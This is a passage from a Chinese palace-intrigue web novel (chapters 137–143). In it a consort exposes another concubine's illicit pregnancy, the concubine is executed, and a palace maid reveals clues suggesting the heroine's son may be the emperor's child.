晚婕妤现在还等着奴婢回去呢,奴婢这实在是耽搁不得。” “不是这样的姜妃娘娘,奴婢已经给了她药,可她非要多拿一份红花,娘娘也知道这太医院的药都是有数的,尤其是红花这种东西,奴婢不敢给。”太医院的小宫女道。 她低着头,声音倒是不卑不亢的,姜妃侧目去打量着她,眼睛里渐渐的闪过了几分疑惑,她觉得这个小宫女有点眼熟,好像在哪里见过。 “红花怎么了?不就是活血祛瘀吗?我们娘娘腿都摔肿了,我多拿一点怎么了?”心禾说。 “姑娘就莫要为难我了,这药方子里的药都是有数的,太医没说让给奴婢不敢。” 眼见着两个人在姜妃面前又要争执起来,姜妃道:“够了,晚妹妹伤了腿,怎么也没有人跟本宫说?今日本宫既然听到了,就不能不管这样吧,等会儿本宫让太医过去再给晚妹妹好好诊治诊治,如果这红花确实需要用,自然也不会有人拦着。” 伴随着姜妃话落,心禾眼神有些许的闪烁,她讪笑了一下:“姜妃娘娘日理万机,我们娘娘伤的也没有那么严重,就不劳烦姜妃娘娘费心了,奴婢这就回去照顾娘娘。” 她拿了自己的药退下去,临走的时候又狠狠的瞪了太医院的那个小宫女一眼。 那个小宫女还是低着头,直到人走了,姜妃才问:“你叫什么名字,凝华宫里是第一次来闹吗?” 第138章 姜妃不怕臣妾向陛下告状吗 “奴婢名叫玉袅。”小宫女说,提到凝华宫她又摇了摇头,“这已经是第二次了,前几天晚婕妤刚扭伤了手腕,来找太医拿了些活血化瘀的药,今日又说是摔伤了腿,太医也照例开了方子,可是那心禾临走的时候,非要多抓一把红花,奴婢没允许。” “短时间频繁受伤,这倒是稀奇了,既然都是一个宫里的姐妹,本宫不去看看是说不过去了。”姜妃暗自嘀咕一句,又对着玉袅道,“你去帮晋姐姐拿些治跌打损伤的药,凝华宫的事不用担心,等会儿本宫自会过去看看,不会让她们牵连到你这里的。” 姜妃的话让玉袅松了一口气,但玉袅并没有马上离开,反而是视线有点好奇地落在了晋明鸢的身上,她问:“姜妃娘娘,这位晋娘娘可是冷宫里的那位?” “是呀,宫里姓晋的只有晋姐姐一位,你问这个做什么?”她眸光冷了下来,探究的看着玉袅。 玉袅道:“娘娘恕罪,奴婢只是没有见过晋娘娘,有点好奇,奴婢这就去抓药。” 姜妃摆了摆手,也没有与她计较,只是眉心却没有舒展,她总觉得这个玉袅很是熟悉。 等到玉袅再回来的时候,姜妃终于问道:“本宫之前见过你?” 玉袅说:“奴婢一直在太医院帮忙抓药,娘娘见过奴婢也很正常。” 她也没有否认,态度还是恭恭敬敬的。 但姜妃觉得她对玉袅的熟悉并不是因为如此,只是在太医院抓药的小宫女,还不足以让她印象这么深刻,她肯定在什么时候与这个玉袅接触过。 她又看了玉袅一眼,依旧想不出个结果来,只把这份诡异的熟悉记在了心里。 玉袅恭敬的把抓好的药递了过来:“晋娘娘,这是您要的东西,请您拿好。” 就在这时,太医院的太医也陆陆续续的回来了,看到姜妃都纷纷行礼,姜妃随便指了一个人:“你跟本宫走一趟凝华宫。” 等那太医去收拾东西,姜妃又对着晋明鸢道:“晋姐姐,我让人先送你回去用早膳吧,我得去趟凝华宫看看。” 说到这个的时候,姜妃就有点烦躁。 贺江灈让她协理六宫,这宫里事事她都是要担着责任的,今日凝华宫那位行径明显不正常,她既然撞上了,自然要去看看,免得以后真生了什么事端牵连到她。 “我跟你一起去吧。”晋明鸢说。 姜妃也没有拒绝,晋姐姐既然出了冷宫,也免不了与人接触,这种事她看看也好。 叫上了人之后,姜妃就径直朝着凝华宫而去。 而凝华宫里,晚婕妤在听到姜妃到来的消息时,手腕一晃,直接碰翻了桌上的茶盏。 姜妃进门的时候,看到的就是茶水顺着桌角淅淅沥沥的淌下来,而坐在桌边的晚婕妤神色恍惚。 她有点慌乱的起身行礼:“妹妹不知姜妃姐姐大驾,有失远迎,还请姐姐莫要见怪。” “妹妹何必如此客气,都是自家姐妹,不用讲那些虚礼,倒是妹妹不是磕伤了腿吗?那就赶紧坐下好好歇着吧,本宫特地带了太医过来给妹妹诊治。”姜妃说。 她拉着晋明鸢一起落了座,一双凤眸漫不经心地盯着晚婕妤。 晚婕妤讪笑一下,脸色一下子就冷了下来,她看向了背后的心禾:“你个丫头怎么办事的?话都说不清楚,平白让姜姐姐费心了,本宫都说了,只是皮外伤不严重,抓些药就好了,何必劳烦姜姐姐带人跑一趟呢?” 姜妃说:“妹妹不必怪她,不管妹妹的伤势如何,这事儿本宫既然知道了,总是要来看看的。 听说妹妹这段时间又接连受伤,莫不是身体虚弱?事关健康,可耽搁不得,还是让太医赶紧给妹妹把把脉吧。” “不必麻烦了,姜姐姐,妾身无碍,今日就真只是个意外,就不劳姜姐姐为妾身操心了。”晚婕妤说。 她的手指压在桌子的一角,指甲都泛着白,就像是在害怕着什么一样。 就算是晋明鸢这种神经大条的人,都能看清楚她此刻的惶恐。 寻常人有个伤痛,巴不得马上请太医,但她好像避之不及,这中间一定有什么猫腻。 姜妃说:“不麻烦的,人本宫已经带来了,用不了多长时间,劳烦晚妹妹把手伸出来吧。” “这…妾身的身子,妾身自己晓得,真没事的。”晚婕妤又是讪讪的一笑,手却直接缩进了袖子里。 “不行,这种事马虎不得,晚妹妹既然自己不愿意,那就别怪本宫用强了,来人,把晚婕妤摁住,让太医给她把脉。”姜妃的声音一下子就严厉了起来。 她这么一挥手,背后几个宫女立刻上前,将晚婕妤摁在了椅子上。 晚婕妤一张脸煞白无比,她道:“姜妃姐姐,您这样强迫妾身,就不怕妾身去向陛下告状吗?” “本宫是为了晚妹妹的健康着想,若晚妹妹真觉得本宫做的不对,把完脉之后大可以去向陛下告本宫。”姜妃说。 她不想与晚婕妤再纠缠下去,挥了挥手,太医赶紧上前去把脉。 晚婕妤那里还在拼命的挣扎着,脸色已经煞白如纸。 可是她一个人又哪里能挣脱得掉三四个人的钳制? 就连她宫里的下人看到姜妃在这里,也是不敢上前帮忙。 太医的手终于还是搭在了晚婕妤的手腕上,他的眉心时而皱起,时而舒展,到最后直接冲着姜妃跪了下来:“姜妃娘娘喜事,大喜事,晚婕妤已有一个月的身孕!” 太医欣喜的声音在凝华宫里回荡着,但晚婕妤已经浑身瘫软地跌坐在椅子上,脸色更是灰败如土。 姜妃冷着脸,看也不看她,只是冷声道:“来人,去请陛下。” 晚婕妤这回直接从椅子上滑坐在了地上,她很快又跪起来,连滚带爬的到了姜妃脚边:“姜妃娘娘,妾身求您。千万不要告诉陛下。妾身知道错了,求您大发慈悲,饶妾身一命吧。” 第139章 晚婕妤有喜 姜妃毫不留情的伸手一甩,就将晚婕妤甩到了一边:“本宫对晚妹妹大发慈悲,谁又来饶恕本宫?既然知道害怕,还做出这等大逆不道的事,晚妹妹早做什么去了?” 事情闹到了这个份上,查出有孕的消息来时晚婕妤一点欣喜都没有,刚才还叫着恭喜的太医这下一下子就僵住了,话也说不出来了。 这会儿谁还看不出来,晚婕妤的孩子不是陛下的。 “姜姐姐,妹妹求你了,您就当今天没有来过好不好?这件事我会处理干净的,绝对不会牵连到您,求您饶我一命吧。”晚婕妤说。 姜妃沉着一张脸,依旧不为所动,什么处理干净,不过就是想拿红花把这个孩子解决掉。 但她当真以为这天底下有不透风的墙嘛,简直可笑,既然现在知道害怕,又何必做出这种荒唐事来呢? 姜妃又摆了摆手,她身边的人赶紧去请人。 晚婕妤想拦都拦不住,再看向姜妃的时候,眼睛里已经多了怨恨:“姜妃,你如此心狠手辣,赶尽杀绝就不怕遭报应吗?” “报应什么的未必会有,但本宫知道,如果把这件事瞒下来,本宫会跟着担责任。”姜妃说。 贺江灈很快就来了,和他一起来的还有太后。 看到眼前的场景,太后先开口问道:“这是怎么了?” 姜妃淡淡的道:“晚妹妹有喜了。” “有喜这是好事呀,为什么在地上跪着?快快起来。”太后短暂的愣了一下,紧接着就露出了笑脸。 姜妃看到太后的反应,就先看了贺江灈一眼。 看样子太后是不知道他没有宠幸过晚婕妤,那这件事就绝对不能由自己捅出来了,于是姜妃把话说的委婉了许多:“太后娘娘有所不知,臣妾今日撞到晚妹妹的宫女去太医院弄了很多红花,唯恐晚妹妹不想要这个孩子,这才特地叫了大家过来。 这件事陈太医也知道,方才晚妹妹还抗拒陈太医把脉呢,对吧?” 目光转向了陈太医,姜妃视线冷的不能再冷了。 平白撞上了这样的事,虽然心里害怕,但陈太医也是知道该怎么选的。 他连忙点头道:“姜妃娘娘说的是,从前几日开始晚婕妤就频频受伤,去太医院拿活血化瘀的药,这些药里有一个共同的特点,就是有红花。 老臣之前没敢多想,可今日给晚婕妤把过了脉之后再联想之前的事,便觉得越发不对,红花本就会致人滑胎,晚婕妤这么做,实在不知是藏了什么心事呀!” “什么?”太后的声音一下子就尖锐了起来,要扶晚婕妤的手也收了回去,“他们说的可是真的?你当真有不要这个孩子的打算?你知不知道伤害龙嗣是什么罪?” 晚婕妤低着头,竟是一句话也说不出来。 周围的气氛是死一般的沉寂,太后终于反应过来,她道:“这个孩子不是皇帝的!” 不是问句,是笃定的语气。 晚婕妤的脸早就没有了血色,听到太后道破真相,她又冲着太后扑了过来:“太后娘娘,妾身知道错了,求你给妾身留一条活路吧。” 太后比姜妃更狠,直接一脚踹开了她,但目光不知怎么看向了晋明鸢,她问:“皇帝,你觉得这事该怎么办?” 明明事情涉及到的是贺江灈的尊严,但相比起这里所有人来,贺江灈反而是最冷静的一个,他甚至慢条斯理地给自己倒了盏茶:“母后觉得呢?” 太后又看了晋明鸢一眼,她冷哼一声:“以哀家看,现在她们敢这么大胆,就是皇帝你之前太心慈手软了,若非你放过晋氏,旁人又怎么敢如此胆大妄为,说白了还是你…” “母后如果说的是这些,就闭嘴吧,朕不想听。”他抿了一口茶,看太后的时候就像在看空气。 太后话头一滞,连肩膀都在发抖。 这个贺江灈,简直越来越不是东西了。 “那你到底想怎么办?”太后狠狠的吸了一口气,又一次质问道。 贺江灈说:“只要不提阿鸢,这件事就是母后说了算。” 太后的视线还在晋明鸢那里,她明显是对贺江灈很不满,但不知出于什么原因,她真的没有提晋明鸢,只是冷着一张脸道:“来人,把这贱人拖下去乱棍打死,以儆效尤,哀家看今日之后还有没有胆大妄为者,敢做这种秽乱宫闱之事。” 太后话说的如此之狠,让晚婕妤的一双腿都软了。 她将求助的目光看向贺江灈,贺江灈只是一味的低头饮茶,连看也没看她一眼。 太后的人已经过来拉扯她了。 被拉下去以后,等着她的就是死路一条。 晚婕妤的表情疯狂的变幻着,忽然间她好似想到了什么,冲着贺江灈道:“陛下,陛下您当真要因此处死臣妾?这不公平! 明明这种事之前就有人做过,为什么要被处死的只是臣妾?臣妾愿意去冷宫度过余生,还请陛下饶臣妾一命!” 相同的事,晋明鸢就做过了,陛下不是只把她打进冷宫的吗?怎么到了她这里就是要命? 她不服。 “啧,你什么东西,也好意思与晋姐姐作比?都愣着做什么?太后娘娘的话都不听了吗?还不赶紧把这贱人拉下去打死?”说话的是姜妃。 她亲昵着挽着晋明鸢的胳膊,脸靠在晋明鸢的肩头,看起来像是个邻家少女一样,偏说出来的话比数九寒冰还冷几分。 她当然听得出来,太后就是想要借这件事敲打晋姐姐,也敲打陛下。 一旦陛下真的松了口,因为晋姐姐的缘故将这个晚婕妤留了下来,那么明日不管后宫前朝都会传起今日的事。 到时不仅陛下的威严受损,就连晋姐姐也会被推到风口浪尖上,毕竟第一个做出这等秽乱宫闱之事的,在所有人眼里都是晋姐姐。 说不定还会有许多迂腐之人,又或者太后的亲信借此机会,上书弹劾要陛下除掉晋姐姐呢。 这些都是抹不去的麻烦。 所以为了避免麻烦,这个晚婕妤就必须死。 这件事也必须得压下去。 第140章 云瑄的身世 人很快就被拖了下去。 惨叫声接连不断地传到屋里来,姜妃对着贺江灈的方向盈盈一半:“陛下,太后娘娘这件事就交给臣妾来处理,二位回去歇着吧,莫要脏了眼睛。” 她自己把事情揽下来,绝不再给太后一点插手的机会。 贺江灈也没有反对:“母后今日受累了,朕送母后回去歇着吧。” 太后明显对晋明鸢意见更大,就连临走的时候也是狠狠的瞪着晋明鸢。 待到贺江灈带着太后离开,姜妃安抚一般轻轻拍了拍晋明鸢的手背,她说:“晋姐姐先坐下休息一会儿,我出去看看,等会儿我们就回邀云宫。” 晋明鸢心里还带着汗湿,她问:“晚婕妤必须死吗?” “她必须死。”姜妃说,只有她死了,太后才没办法把她与晋姐姐放在一起做文章。 晋明鸢这是第一次见到姜妃如此狠厉的模样,她低着头没有说话,心里却渐渐的蔓延出一股悲凉来。 当年自己生下云瑄的时候,是不是也经历过这一遭? 她完全想不到当年的场景了,可看着方才晚婕妤苦苦求饶的模样,她总觉得心脏有点抽痛。 晚婕妤不应该不懂与人通奸要面临的是什么样的结果,当年的她也不会不懂,可她们为什么要这么做呢? 外面的惨叫声渐渐的歇了下来。 到最后再也听不到一点声音,一切都归于平静。 姜妃再回来的时候,已经是半个时辰之后了。 壶里的茶水都冷透了。 晋明鸢看着她朝自己走来:“都解决了?” “死了,已经让人拖走了。”姜妃说,对上晋明鸢的眼睛,她眼里的冷意散去,又补充道,“晋姐姐,咱们回去吧,还没有吃饭呢,饿死了。” 晋明鸢什么也没说,跟她一起出了门。 院子里已经被清理干净了,只有淡淡的血腥味在空气里萦绕着,像是在无声的提醒着经过这里的人,刚才发生了什么。 姜妃依旧面色如常,明明她平常也是个跳脱的性子,但是在处理这件事的时候,却格外的心狠手辣,这个反常让晋明鸢在看向她的时候,神色都带了几分古怪。 两个人回到邀云宫的时候,贺云瑄已经不知道等了多久了,他道:“娘亲,姜姨姨,你们两个大清早的去哪里了?” 姜妃笑嘻嘻的道:“还不是你娘亲担心你在外面磕着碰着,特地叫我陪她去太医院弄了些跌打损伤的药给你带着。” 她使了个眼色,晋明鸢便把拿来的药膏药粉全都推了过来,叮嘱道:“这些你走的时候记得带着,出门在外一定要照顾好自己。” 两个人都心照不宣,不愿意把凝华宫的事告诉贺云瑄。 “谢谢娘亲。”贺云瑄把东西接了过来,声音里还有点感动。 他将晋明鸢带来的药都细细的看着,忽然他有些惊讶的道:“娘亲,这上面有字。” “什么字?”姜妃把东西拿了过来,一眼就看到了褐色的牛皮纸上,被人划下了不太明显的痕迹,仔细分辨过去,才看到上面写的是“子时三刻,邀云宫门口”几个字。 当时她们去太医院的时候,里面就只有玉袅一人,药也是玉袅直接交到晋明鸢手上的,期间再没有任何人碰过,这上面的字是谁留的,已经不言而喻。 姜妃目光一直盯着这上面的字,过得好一会儿,她忽然提高了声音:“晋姐姐,我想起来这个玉袅是谁了,我之前见过她,在你让我帮你查翠枝的事时,当初她与翠枝就住在一个屋里。 但那时候不管我问她什么,她都没有说过,现在她主动给你留字条,难道是有什么信息要说?” 经过姜妃这么一提醒,晋明鸢也想起来她之前想要让姜妃帮她查关于她生下云瑄的事,但后面这件事一直都没有结果。 难道这个玉袅还真知道什么? 姜妃说:“晋姐姐,这件事先别慌,今晚上我先去看看她到底想做什么。” 虽然以眼下的情况看,这个玉袅可能知道翠枝的事,但确实也不得不防。 除去牛皮纸上的那几个字以外,剩下的药就没有别的异样了。 但晋明鸢心里始终记挂着这件事,一整天都不得安宁,好不容易就挨到了晚上。 把邀云宫里的下人都打发回去休息后,晋明鸢和姜妃就早早的守在了邀云宫门口等着。 几乎是午时三刻一到,外面就传来了悉悉索索的声音,一个浑身都包裹着严严实实的身影出现在了邀云宫的门口,姜妃率先开门走了出来。 那人看到姜妃的时候,好像愣了一下,她很快就对着姜妃行了个礼,但却什么也不说,转身就要走。 姜妃问:“深更半夜你来这里做什么?” “奴婢今夜吃撑了,随便出来走走,不知不觉就走到了这里,还请姜妃娘娘大人大量,莫要与奴婢计较。”玉袅说。 如果不是看到她在牛皮纸上留下的话,姜妃就信了她这番说辞,现在见她急着离开,姜妃直接了当道:“你是想找晋娘娘吧?” “奴婢没有,奴婢真的是吃多了。”玉袅连连否认。 姜妃却让开了距离,直接推开了邀云宫的门:“进来吧,晋姐姐在等你呢。” 她也不管玉袅,率先进了门。 晋明鸢这时候才探出头来道:“进了说话吧。” 玉袅看起来好像还有点犹豫,最后还是硬着头皮跟着晋明鸢进了门。 晋明鸢直接开门见山的问:“你特地给我留字,是有话想跟我说吧,是不是关于翠枝?” 玉袅没说话,视线有点警惕的看着姜妃,姜妃没好气的道:“你这小丫头,到现在还防着本宫呢?本宫现在与晋姐姐同吃同住,这关系你还不相信吗?” 晋明鸢也说:“你不用担心姜妹妹,她不是外人,你若真的有什么事大可直说。 关于翠枝的事,你是不是知道些什么?她死之前可有与你说什么?” 如果翠枝是想给她传消息被人发现了端倪才被害死的,那么她死前一定是发现了什么重要的消息。 说不定她很快就能弄清云瑄身世的真相了。 第141章 云瑄会不会就是陛下的孩子 玉袅又是犹犹豫豫的看了姜妃一眼,那眼神明显就带着几分不信任。 姜妃本就脾气不好,这会儿被人接连怀疑,当即就要发火。 晋明鸢按了按她的手,又对玉袅说:“我知道姜妹妹之前找过你,那是我让她去的,如此你可放心了?” “晋娘娘说的是真的?”玉袅问。 晋明鸢点了点头,玉袅脸上的怀疑才终于散了些许,她犹豫道:“翠枝姐姐的死因奴婢也不知道,只是在翠枝姐姐死之前,曾与奴婢说过一件事,她问奴婢相不相信世界上有让人延迟生产的药。” “延迟生产”四个字被玉袅咬得很重,她的嘴唇凑近了晋明鸢一些,屋里摇曳的烛光打在她的脸上,衬着她的表情都好像有些阴森。 哐当一声脆响,晋明鸢的手腕微晃,撞倒了桌上的杯盏,她一双眼睛就这么死死的盯着玉袅的脸。 “你是说…” “奴婢什么也不知道,可翠枝姐姐就是一口咬定,而且她一直都在太医院里找类似的方子。”玉袅说。 晋明鸢的神色晃动的更厉害了。 她生下云瑄的时间和离京的时间是对不上的,也正是因为这个原因,旁人才会咬死了云瑄是野种。 可如果世界上真的有玉袅说的那种药呢? 如果云瑄根本就不是别人的孩子,如果从一开始她就是被陷害的… 晋明鸢只觉得自己的一颗心脏砰砰砰的跳个不停。 而姜妃这会儿也是急切的问道:“那结果呢,真的有这种药吗?” 绕是姜妃,也只听说过催产的药,哪有什么让人延迟生产的东西? 玉袅说:“奴婢也不知道,翠枝姐姐做这些事的时候,一直都是神神秘秘的,但奴婢记得她死的那天晚上,出去的时候很高兴。 她那个时间出门,从来都是为了去见晋娘娘,想来应该是发现了什么的,然后就再也没有回来。” “翠枝平日里与什么人最亲近?”姜妃问。 玉袅想了想:“翠枝姐姐人好,与我们关系都不错的。” “我是说她与宫里的主子之间,可有什么牵扯,比如清妃?”姜妃又问。 当年与晋姐姐一起离京的就是清妃,如果真的有那种药的话,也是清妃陷害晋姐姐的可能性最大。 还有当时翠枝死时,也是清妃率先找到的人。 这一桩桩一件件的事放在一起,都让清妃在这件事里嫌疑最大。 姜妃这会儿已经设想起来,如果真的是翠枝发现了一切与清妃有关,想要去告诉晋明鸢,结果被清妃发现端倪,直接害死,这所有的事好像都能解释的通了。 玉袅说:“翠枝姐姐之前就是晋娘娘的人,清妃娘娘与晋娘娘交好,自从翠枝姐姐去了太医院之后,清妃娘娘就时不时的给翠枝姐姐送些东西,奴婢记的清妃娘娘一直都很照顾翠枝姐姐的。” “那你觉得,翠枝会不会把她查到的事给清妃说?”姜妃又问。 “这…”玉袅犹豫了一下,却还是摇了摇头,“奴婢觉得不会,虽然清妃对翠枝姐姐多有照顾,但奴婢能感觉出来,翠枝姐姐对清妃很疏远。” 这就对了。 姜妃的脸色沉了又沉,她现在毫不怀疑,当初翠枝一定是查到了什么东西。 姜妃说:“你还能不能找到,之前翠枝都看了哪些书?” 从这个玉袅的话里,也能听得出来,她对之前翠枝的事知之甚少。 若想从她口中问出确切的东西来是不可能了,眼下也只能先去找找翠枝查过的线索,再重新去查。 玉袅点头:“奴婢大概记得一些,翠枝姐姐看的最多的,就是一些民间奇闻偏房,那些东西现在还在太医院里放着,如果两位娘娘需要的话,奴婢可以…” 姜妃摇了摇头:“不必了。” 如果翠枝的死,真的是别人刻意的。 那么翠枝所看过的那些书,也未必还是原本的样子。 再去看那些已经没有意义了。 姜妃说:“你愿不愿意来邀云宫当差?” 哪怕翠枝的死已经过去了那么久,但太医院那边未必就没有人盯着。 这个玉袅能冒着这样大的危险过来送信,想来也是一个可靠的。 如今邀云宫缺人,让她过来的话,一是可以帮忙,二来也可以保护她,一举两得。 “奴婢…”玉袅看起来有点犹豫。 姜妃又劝道:“如今晋姐姐已经出了冷宫,这宫里就没有什么人的地位能胜过她。 你留在她身边当值,便也不可能再有人随意刁难于你,这不比在太医院里轻松吗?你觉得呢?” 提到刁难,玉袅脸上多了些许的后怕。 她不禁就想到了今日晚婕妤的人跑到太医院去要的那红花。 若不是她态度坚决的阻拦,真的让晚婕妤,无声无息的流掉了那个孩子,等以后东窗事发了,给晚婕妤红花的她必然也是逃不掉的。 正如姜妃所说的那样,晋娘娘既然住进了邀云宫,地位自然不可同日而语,跟在她身边总比在太医院要安全许多。 玉袅很快就点了头。 姜妃说:“你不用回去了,今日就留在邀云宫,你的事本宫明日自然会带着晋姐姐去与陛下说明。” 晋明鸢直接叫了芙蕖过来,让她带着玉袅去安排住处。 很快屋里就只剩下了姜妃和晋明鸢,晋明鸢直接拉住了姜妃的手,声音里都带着明显的紧张:“姜妹妹,你说云瑄会不会就是陛下的孩子?” 之前她就有这种怀疑了,毕竟云瑄和那个陛下生的实在是太像了,哪怕自己失去记忆,只是一眼看到他的时候。就觉得他与云瑄有关系。 姜妃语气近乎笃定:“一定会的,我们很快就能找到证据的,晋姐姐,我跟你说,到时候要是拿到了证据,你可一定不能心软,那个负心汉误会你那么久,一定得让他好好求你,否则千万别原谅他!” 话到最后的时候,姜妃已经握紧了拳头,语气都是愤愤不平的。 她从来都不觉得晋姐姐会在外面与别人生子,如今真相之上的雾气都散了大半,她心里也更笃定了。 第142章 姜妹妹血口喷人的毛病可不好 晋明鸢实在想不到,姜妃为什么对自己就这么的信任。 不过有了姜妃的话之后,她的一颗心也确实安定了许多。 “那姜妹妹现在有什么头绪?”晋明鸢问。 姜妃说:“我们现在已经有大概的方向了不是吗?如果真的是按着那翠枝的猜测来算,这世界上真的有让人推迟生产的药的话,咱们就往这个方向去查。 然后我让人去民间多收集一些那偏方秘闻。 没道理翠枝一个丫鬟能找到的真相,咱们两个找不到。 你放心晋姐姐,我一定会还你一个清白的,只是时间长短的问题。” 听着姜妃郑重的话,晋明鸢始终低着头,好一点儿,她忽然抬起头来,语调是前所未有的坚定:“江妹妹,如果翠枝的死,真的是清妃所为,我要她偿命。” 晋明鸢素来心大,她很少会有这样强的报复心理,甚至恨到想要一个人去死。 可想到自己所经历的事,她又怎么能不恨呢? 如果云瑄真的是陛下的孩子,却被人喊着野种这么多年… 他明明可以锦衣玉食,却在冷宫里受尽苦楚,她怎么能无动于衷? 还有翠枝,就算她从来不记得翠枝了,可自己进了冷宫之后,翠枝依旧不离不弃帮自己去查真相,这份情谊她又怎么能忘? 姜妃安抚的按着晋明鸢的肩头:“晋姐姐,如果这些真的都是她做的,我也不会让她活的。” 她的眸光深沉,安慰晋明鸢的时候,思绪却飘的有点远。 晋姐姐与那个清妃从小一起长大,关系亲厚无比。 她小时候最是疼清妃了,只要清妃要的,只要她有的,她都会给。 现在能说出这样的话来,只是因为她失去了记忆罢了,如果她真的恢复了记忆,还会说出这种对清妃如此狠心的话吗? 如果她恢复了记忆,会不会对清妃心软? 不行! 看来这件事一定要加快处理,一定要在晋姐姐恢复记忆之前除掉清妃。 绝不能再让那个女人借着晋姐姐的心软,有任何翻身的机会才行。 姜妃的脸色渐渐的就冷到了极点,她说:“想要知道翠枝的死与清妃有没有关系很简单,如果真是她害了翠枝,一定会盯着玉袅,我们只管等着,看她来不来打听情况就知道了。” 晋明鸢也点了头,但是脸上的表情依旧凝重。 只要想到贺云瑄有可能就是陛下的孩子,却因为旁人的陷害受了那么多苦,晋明鸢心里就难受。 两个人谈话间,谁也没有注意到一个小脑袋正趴在窗户上。 贺云瑄的瞳孔同样是一片黑沉,他的手紧紧的抓着腰间那块玉佩。 难道这中间从来就没有别人,他一直都是那个人的孩子? 翌日一早,晚婕妤的事就传遍了六宫。 姜妃遣人去请了贺江灈来邀云宫用早膳。 席间她与贺江灈说了玉袅要留在邀云宫的事,贺江灈什么也没问,直接应了下来。 饭桌上的气氛很是古怪,自从姜妃说了这件事之后,就再也没有人说话,贺云瑄时不时的抬眼打量贺江灈一眼,又很快的把头低了下去,而晋明鸢则是从始至终都不抬头。 贺江灈时不时的顺手给晋明鸢夹菜,两个人中间什么交流也没有,但每次贺江灈夹来的,却都是晋明鸢爱吃的东西。 至于姜妃,她应该是在席间最不尴尬的一个了,一直都在闷头扒自己的饭。 直到这顿饭吃了大半,外面忽然有人通传:“陛下,晋娘娘,清妃来了。” 听到这个消息,晋明鸢终于稍微抬了抬头,和对面的姜妃对视了一眼,姜妃眼睛里闪过的是明显的鄙夷。 贺江灈则是皱着眉道:“她怎么来了?” “谁知道呢?”姜妃颇为随意的嘀咕了一句,“说不准又在打什么坏主意呢,请进来瞧瞧呗。” “姜妃,你的嘴还真是…”贺江灈到底没有评价后来的话,只是摆了摆手,示意人把清妃带进来。 清妃手里还提着一个食盒,在看到贺江灈的时候,她好像有些惊讶,声音讪讪的道:“陛下,您也在呀。” “关你什么事,你来做什么的?”姜妃直接毫不客气的回怼。 清妃立刻就委屈的看向了贺江灈,贺江灈直接扭头瞪了姜妃一眼,姜妃还是不客气的翻了个白眼,但好歹是闭上了嘴。 清妃这才说道:“臣妾听闻云瑄要出门游学,特地亲手给云瑄炖了些鸡汤补补身子。” 说话间她就把手里的食盒放到了桌上,又委屈道:“臣妾也是一片好心,不知姜妹妹怎么就对我的意见这么大? 是因为我之前与晋姐姐最是要好,才让姜妹妹如此生气吗? 还是姜妹妹在害怕晋姐姐恢复了记忆之后甩开你?” 她一边摆弄着食盒,一边柔柔弱弱的冲着姜妃发难。 “你少在那里危言耸听,到底谁在害怕晋姐姐恢复记忆,你自己心里清楚,玉袅,还不过来盛汤,这种事能劳烦咱们清妃娘娘吗?”姜妃直接叫了玉袅过来,一双眼睛死死的盯着清妃的脸。 玉袅很快走了过来,清妃的目光也落在了她脸上,很快她就直接诧异的问:“她怎么会在这里?” 后知后觉的反应过来,自己声音过于尖锐,清妃又补充道:“我记得这位姑娘不是在太医院当值吗?现在怎么来了邀云宫?” 姜妃说:“清妃何必如此惊讶呢?不过就是昨日我与晋姐姐去太医院,正好看到这位姑娘被晚婕妤的人刁难,晋姐姐心善,直接把人带回了邀云宫。 不过是个宫女的事,竟也劳得清妃如此担忧,莫不是这宫女手里捏了清妃什么把柄?” 说话间姜妃直接冲着清妃倾了倾身子,一双含着笑意的眼睛里尽是意味不明的情绪。 清妃的手在袖子里攥了攥,她笑道:“姜妹妹还真是会开玩笑,我能有什么把柄,我只是有些好奇而已,倒是姜妹妹,如今都已经管理六宫了,还总是这么不分青红皂白的往人身上乱扣帽子,这习惯可不好啊。” 第143章 她就没想让玉袅活 面对清妃意味不明的话,姜妃只是掀了掀眼皮,就收回了目光。 清妃又说:“姜妹妹戾气总是这样重,这里是后宫又不是沙场,一点小事就对着人喊打喊杀的,姜妹妹未免也太心狠了些。” 姜妃总觉得这个清妃话里有话。 她直接质问道:“是吗?那我对谁喊打喊杀了?” 清妃视线有些忌惮的朝着贺江灈那里看了一眼,睫毛颤了颤,她道:“听说昨天晚婕妤的事是姜妃亲自看着行刑的?虽说晚婕妤有错,可那样血腥残忍的场面,姜妃妹妹就一点不怜悯吗? 还有晋姐姐,你怎么也不劝着姜妃妹妹点儿,竟是任凭她造下这样的杀孽,那好歹是一条人命,至少我觉得晋姐姐应该感同身受才是。” 感同身受什么? 清妃这话明摆着就是在暗指晋明鸢也怀过别人的孩子了,还是当着陛下的面说这种话,个中用意自然是不言而喻。 姜妃直接猛地一拍桌子:“你不会说话,就找个人拿针把嘴巴缝上,别跑到这儿满嘴喷粪,什么东西也敢和晋姐姐比,当年晋姐姐是怎么生下云瑄的,清妃不是最清楚不过吗?” 姜妃看似怒气上头,说话不管不顾的,可后半句话却存了些试探清妃的意思。 清妃手腕轻轻晃了晃,她余光朝着玉袅的方向瞥了一眼,紧接着就开始捂着胸口掉起眼泪来:“当年都是我的错,如果我一直跟着晋姐姐,晋姐姐就不会被掳进贼窝,也不会…” 看她眼泪接连不断的往下落,姜妃深吸了一口气,只觉得自己这辈子也没见过像清妃这样厚颜无耻的人。 不管什么时候下,都能这样快速的示弱转移话题,这一招还真是了不起呢。 姜妃冷哼一声,又不接话了。 清妃委委屈屈的自己哭了半天,又话锋一转:“纵然事情是我不对,那也不关晚婕妤的事呀,晋姐姐,明明你对一个宫女都能施以援手,怎么就能眼睁睁的看着晚婕妤去死呢?你现在怎么那么狠心了?” 也不知道清妃在固执什么,话题又一次被拉到了这里。 清妃也不看别人,视线始终落在晋明鸢的身上,看着晋明鸢的眼睛里好像还带着失望。 晋明鸢和她短暂的对视,她说:“所以清妃妹妹说这么多,是怪我昨天对晚婕妤见死不救。 你觉得因为我生下了云瑄,就要救宫里所有秽乱宫闱的人? 可是云瑄真的是我与别人生的吗?清妹妹为何这么迫不及待的想要把我与这种事联系在一起呢?” “我…我没有,我只是觉得,以晋姐姐的性格,不应该见死不救。”晋明鸢几句话说完,让清妃的眼神都有些闪躲,她小心翼翼的朝着贺江灈那里看了一眼,才又急急的替自己否认。 这会儿她心里已经忍不住犯嘀咕,晋明鸢近来行事一直冲动无脑,怎么今日反而变得如此条理清晰? 她什么时候会动脑子了? 事实上,在涉及到自己宝贝儿子的时候,晋明鸢一向会细心许多。 伴随着晋明鸢的话,姜妃也忽然抓到了什么,于是她叉着腰对着清妃道:“你口口声声都说晋姐姐是因为你的缘故才进了贼窝,你既然心里那么愧疚,那你自己也去贼窝里走一趟呀。 